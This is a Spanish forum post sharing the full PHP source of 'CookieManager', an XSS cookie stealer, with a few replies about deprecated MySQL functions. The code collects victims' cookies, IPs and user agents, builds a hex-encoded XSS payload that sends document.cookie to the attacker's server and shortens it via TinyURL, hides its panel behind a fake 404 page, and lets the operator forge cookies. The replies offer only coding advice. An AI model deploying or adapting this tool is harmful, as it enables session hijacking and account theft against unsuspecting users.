Un simple programa en PHP para ayudar con la vulnerabilidad XSS , en este programa tienen las siguientes opciones :
- Cookie Stealer con generador de TinyURL
- Pueden ver los cookies que les devuelve una pagina
- Pueden crear cookies con los datos que quieran
- Panel oculto con login para entrar usen ?poraca para encontrar al login
Un video con ejemplos de uso :
[youtube=640,360]https://www.youtube.com/watch?v=AP-2bkeFjpc[/youtube]
El codigo :
<?php
// CookieManager 0.5
// (C) Doddy Hackman 2015
//Datos para el login
$username = "admin";
$password = "21232f297a57a5a743894a0e4a801fc3"; //admin
//
//Datos para la DB
$host = "localhost";
$userw = "root";
$passw = "";
$db = "cookies";
//
// Functions
function hex_encode($text)
{
$texto = chunk_split(bin2hex($text), 2, '%');
return $texto = '%' . substr($texto, 0, strlen($texto) - 1);
}
function parsear_cookie($leyendo)
{
$leyendo = str_replace("comment=", "", $leyendo);
$leyendo = str_replace("Set-Cookie: ", "", $leyendo);
$contenido = explode(";", $leyendo);
$nombre = "";
$valor_cookie = "";
$expires = "";
$path = "";
$domain = "";
$secure = "false";
$httponly = "false";
foreach ($contenido as $valor) {
if (preg_match("/expires=(.*)/", $valor, $regex)) {
$expires = $regex[1];
}
elseif (preg_match("/path=(.*)/", $valor, $regex)) {
$path = $regex[1];
} elseif (preg_match("/domain=(.*)/", $valor, $regex)) {
$domain = $regex[1];
} elseif (preg_match("/secure=(.*)/", $valor, $regex)) {
$secure = $regex[1];
} elseif (preg_match("/httponly=(.*)/", $valor, $regex)) {
$httponly = $regex[1];
}
else {
if (preg_match("/(.*)=(.*)/", $valor, $regex)) {
$nombre = $regex[1];
$valor_cookie = $regex[2];
}
}
}
return array(
$nombre,
$valor_cookie,
$expires,
$path,
$domain,
$secure,
$httponly
);
}
function ver_cookies_de_pagina($pagina)
{
$cookies = "";
if (!function_exists('curl_exec')) {
$options = array(
'http' => array(
'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
)
);
$context = stream_context_create($options);
file_get_contents($pagina);
foreach ($http_response_header as $valores) {
if (preg_match("/Set-Cookie/", $valores)) {
$valores = str_replace("Set-Cookie:", "", $valores);
$cookies = $cookies . $valores . "<br>";
}
}
} else {
$nave = curl_init($pagina);
curl_setopt($nave, CURLOPT_TIMEOUT, 5);
curl_setopt($nave, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($nave, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
curl_setopt($nave, CURLOPT_HEADER, 1);
curl_setopt($nave, CURLOPT_NOBODY, 1);
$contenido = curl_exec($nave);
curl_close($nave);
$leyendo = explode("\n", trim($contenido));
foreach ($leyendo as $valores) {
if (preg_match("/Set-Cookie/", $valores)) {
$valores = str_replace("Set-Cookie:", "", $valores);
$cookies = $cookies . $valores . "<br>";
}
}
}
return $cookies;
}
function toma($target)
{
$code = "";
if (function_exists('curl_exec')) {
$nave = curl_init($target);
curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
curl_setopt($nave, CURLOPT_TIMEOUT, 5);
curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
$code = curl_exec($nave);
} else {
$options = array(
'http' => array(
'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
)
);
$context = stream_context_create($options);
$code = file_get_contents($target);
}
return $code;
}
//
error_reporting(0);
mysql_connect($host, $userw, $passw);
mysql_select_db($db);
if (isset($_GET['id'])) {
if (empty($_GET['id'])) {
error();
}
$dia = mysql_real_escape_string(date("d.m.Y"));
$ip = mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
if ($ip == "::1") {
$ip = "127.0.0.1";
}
$info = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
$ref = mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
$cookie = mysql_real_escape_string($_GET['id']);
mysql_query("INSERT INTO todo(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
header("Location:http://www.google.com.ar");
}
elseif (isset($_COOKIE['portal'])) {
$st = base64_decode($_COOKIE['portal']);
$plit = explode("@", $st);
$user = $plit[0];
$pass = $plit[1];
if ($user == $username and $pass == $password) {
if (isset($_POST['makecookies'])) {
//setcookie($_POST['name_cookie'],$_POST['value_cookie'],$_POST['expire_cookie'],$_POST['path_cookie'],$_POST['domain_cookie'],$_POST['secure_cookie'],$_POST['httponline_cookie'])) {
if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200, $_POST['path_cookie'], $_POST['domain_cookie'])) {
echo "<script>alert('Cookies Maked');</script>";
} else {
echo "<script>alert('Error making Cookie');</script>";
}
}
echo "<title>CookieManager 0.3</title>";
echo "<STYLE type=text/css>
body,a:link {
background-color: #000000;
color:orange;
Courier New;
cursor:crosshair;
font-size: small;
}
input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;
color:orange;
border: solid 1px orange;
border-color:orange
}
a:link,a:visited,a:active {
color: orange;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}
</style>
";
$edit_name = "";
$edit_value = "";
$edit_expire = "";
$edit_path = "";
$edit_domain = "";
$edit_secure = "";
$edit_httponline = "";
if (isset($_POST['instalar'])) {
$todo = "create table todo (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
fecha TEXT NOT NULL,
ip TEXT NOT NULL,
info TEXT NOT NULL,
cookie TEXT NOT NULL,
PRIMARY KEY (id));
";
if (mysql_query($todo)) {
echo "<script>alert('Installed');</script>";
} else {
echo "<script>alert('Error');</script>";
}
}
if (mysql_num_rows(mysql_query("show tables like 'todo'"))) {
//
if (isset($_GET['del'])) {
if (is_numeric($_GET['del'])) {
if (@mysql_query("delete from todo where id='" . $_GET['del'] . "'")) {
echo "<script>alert('Deleted');</script>";
} else {
echo "<script>alert('Error');</script>";
}
}
}
echo "<center>";
echo "<br><h1>CookieManager</h1><br>";
// Cookies Found
$re = mysql_query("select * from todo order by id ASC");
$con = mysql_num_rows($re);
if ($con == 0) {
echo "<script>alert('Cookies not found');</script>";
} else {
echo "<table border=1 width=1100><td width=1100><center><h2>Cookies Found : $con</h2></center></table>";
echo "<table border=1 width=1100>";
echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
while ($ver = mysql_fetch_array($re)) {
$cookies_view = $ver[4];
list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($cookies_view);
echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[3]) . "</td>";
echo "<td>" . htmlentities($cookies_view) . "</td><td>" . htmlentities($nombre) . "</td><td>" . htmlentities($valor_cookie) . "</td><td><a href=?del=" . htmlentities($ver[0]) . ">Del</a></td><tr>";
}
echo "</table>";
}
//
// Form para target
echo "
<form action='' method=POST>
<center><br><table border=1>
<td><center><h2>Enter Target</h2></center></td><tr>
<td><input type=text size=50 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
<td><input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'><input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
</table></center>
</form>
";
// URLS
if (isset($_POST['generateurl'])) {
echo "<br><table border=1>
<td><center><h2>URL Generated</h2></center></td><tr>
<td><textarea cols=50 name=code readonly>\n";
$script = hex_encode("<script>document.location='http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
//echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
$resultado_code = toma("http://tinyurl.com/api-create.php?url=" . $_POST['target'] . $script);
echo htmlentities($resultado_code);
echo "\n</textarea></td></table>";
}
//
// Get Cookies
if (isset($_POST['getcookies'])) {
echo "<br><table border=1>
<td><center><h2>Console</h2></center></td><tr>
<td><textarea cols=50 rows=10 name=code readonly>\n";
$resultado_code = ver_cookies_de_pagina($_POST['target']);
echo htmlentities($resultado_code);
echo "\n</textarea></td></table>";
$leyendo_esto = split("\n", $resultado_code);
list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($leyendo_esto[0]);
$edit_name = $nombre;
$edit_value = $valor_cookie;
$edit_expire = $expires;
$edit_path = $path;
$edit_domain = $domain;
$edit_secure = $secure;
$edit_httponline = $httponly;
}
//
// Form para crear cookies
echo "
<form action='' method=POST>
<center><br><table border=1>
<td><center><h2>Cookies Maker</h2></center></td><tr>
<td>Name : <input type=text size=50 name=name_cookie value='$edit_name'=></td><tr>
<td>Value : <input type=text size=50 name=value_cookie value='$edit_value'=></td><tr>
<td>Expires : <input type=text size=50 name=expire_cookie value='$edit_expire'=></td><tr>
<td>Path : <input type=text size=50 name=path_cookie value='$edit_path'=></td><tr>
<td>Domain : <input type=text size=50 name=domain_cookie value='$edit_domain'=></td><tr>
<td>Secure : <input type=text size=50 name=secure_cookie value='$edit_secure'=></td><tr>
<td>HTTP Online : <input type=text size=50 name=httponline_cookie value='$edit_httponline'=></td><tr>
<td><input type=submit name=makecookies style='height: 25px; width: 100px' value='Make Cookies'></td>
</table></center>
</form>";
//
//
echo "<br><h1>(C) Doddy Hackman 2015</h1><br><br>";
//
} else {
echo "
<center><br><br>
<form action='' method=POST>
<h2>Deseas instalar CookieManager ?</h2><br><br>
<input type=submit name=instalar value=Instalar>
</form>";
}
exit(1);
}
} elseif (isset($_POST['login'])) {
if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
setcookie("portal", base64_encode($_POST['user'] . "@" . md5($_POST['password'])));
echo "<script>alert('Welcome idiot');</script>";
echo '<meta http-equiv="refresh" content=0;URL=>';
} else {
echo "<script>alert('Continued to participate');</script>";
}
} elseif (isset($_GET['poraca'])) {
echo "
<STYLE type='text/css'>
body,input {
background-color: #000000;
color:orange;
font-family:
Courier New;
cursor:crosshair;
font-size: small;
}
</style>
<h1><br><center><font color=green>Login</font></center></h1>
<br><br><center>
<form action='' method=POST>
Username : <input type=text name=user><br>
Password : <input type=password name=password><br><br>
<input type=submit name=login value=Enter><br>
</form>
</center><br><br>";
} else {
error();
}
function error()
{
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>';
exit(1);
}
mysql_close();
// The End ?
?>
Si quieren bajar el programa lo pueden hacer de aca :
SourceForge (https://sourceforge.net/projects/cookiestealer/).
Github (https://github.com/DoddyHackman/Cookie_Stealer).
Si se permiten criticas para la siguiente version :P
- No uses mysql_ esta obsoleto. Intenta usar mysqli o PDO.
- Saca el HTML de PHP.. imprimiendo todo con echo pierdes mucho rendimiento.
- Intenta no forzar configuraciones. Hazlos aleatorios o a elección del usuario (o mejor aun.. ambas). Por ejemplo el user-agent.
Saludos
ok , gracias por las sugerencias.
PD: la siguiente version hace tiempo que esta terminada donde cambie totalmente el diseño y fixee los 30 XSS que tiene esta version xD.
Qué bueno! sigue así.
De obsoleta MySQL nada.. si aún hay empresas en españa que programan en cobol xD
CitarDe obsoleta MySQL nada.. si aún hay empresas en españa que programan en cobol xD
Me referia a la API...
Cita de: http://php.net/manual/en/function.mysql-connect.phpWarning - This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used.
PD: El hecho de que las empresas usen un dado lenguaje/programa/driver/SO no quiere decir que este no este obsoleto.
Saludos
Cita de: #!drvy en 12 Febrero 2015, 01:08 AM
Me referia a la API...
PD: El hecho de que las empresas usen un dado lenguaje/programa/driver/SO no quiere decir que este no este obsoleto.
Saludos
Por su puesto que no, no quería decir eso. Solo qué dado el poco interés por la seguridad en muchas empresas junto con el alto coste a todos los niveles de las migraciones a sistemas actuales, estos mientras sigan funcionando se suelen dejar cómo están.
y lo que en teoría se queda viejo en la vida real sigue siendo el día a día. no sé si me explico.. bueno un saludo!!
Cita de: ElP4nd4N3gro en 12 Febrero 2015, 02:05 AM
Por su puesto que no, no quería decir eso. Solo qué dado el poco interés por la seguridad en muchas empresas junto con el alto coste a todos los niveles de las migraciones a sistemas actuales, estos mientras sigan funcionando se suelen dejar cómo están.
y lo que en teoría se queda viejo en la vida real sigue siendo el día a día. no sé si me explico.. bueno un saludo!!
en un proyecto activo, si es obsoleta o no, no lo dicen los usuarios, lo dicen los desarrolladores...
http://php.net/manual/en/function.mysql-connect.php (http://php.net/manual/en/function.mysql-connect.php)
lee el gran aviso rojo... en 5.5.0 será removido...